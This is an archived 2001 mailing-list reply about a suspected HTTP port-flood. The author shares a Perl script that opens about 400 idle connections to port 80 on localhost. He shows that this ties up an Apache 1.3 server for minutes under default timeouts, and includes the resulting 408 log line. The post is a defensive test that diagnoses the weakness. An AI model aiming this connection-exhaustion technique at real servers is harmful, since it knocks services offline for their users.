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Re: Pattern matching odd HTTP request
From: Bill McGonigle <mcgonigle () medicalmedia com>
Date: Tue, 18 Sep 2001 18:58:42 -0400



On Tuesday, September 18, 2001, at 06:30 PM, Jake Khuon wrote:

You start to suspect a DDOS port-flood attack. It's certainly causing me to
spawn a lot of httpds and occupying a lot of ports.


This isn't good. I wrote a bit of test code to see what would happen if I had alot of timeouts:

#-----
use Net::Telnet;

my $num_open = 400;

sub doConnect {
    my $telnet_handle = Net::Telnet->new(Port=>'80');
    $telnet_handle->open("localhost");
    if ($num_open > 0) {
        print "$num_open...";
        $num_open--;
        doConnect();
    } else {
        sleep(20);
    }
}

doConnect();
print "\n";
#-----

On Apache 1.3, this brings the number of httpd processes up to MaxClients, then each one waits 300 seconds (the default timeout) for the connections to time out, at which point the other connections are made, and the cycle continues. A DDOS of this nature would be particularly nasty. One client (happened to be on localhost) tied up the server for 6 minutes this way with the default Apache config.

Here's what the logfile for these attempts looks like:

127.0.0.1 - - [18/Sep/2001:18:43:06 -0400] "-" 408 -

Doh!

-----
Bill McGonigle
Research & Development
Medical Media Systems, Inc.
http://www.medicalmedia.com
+1.603.298.5509x329


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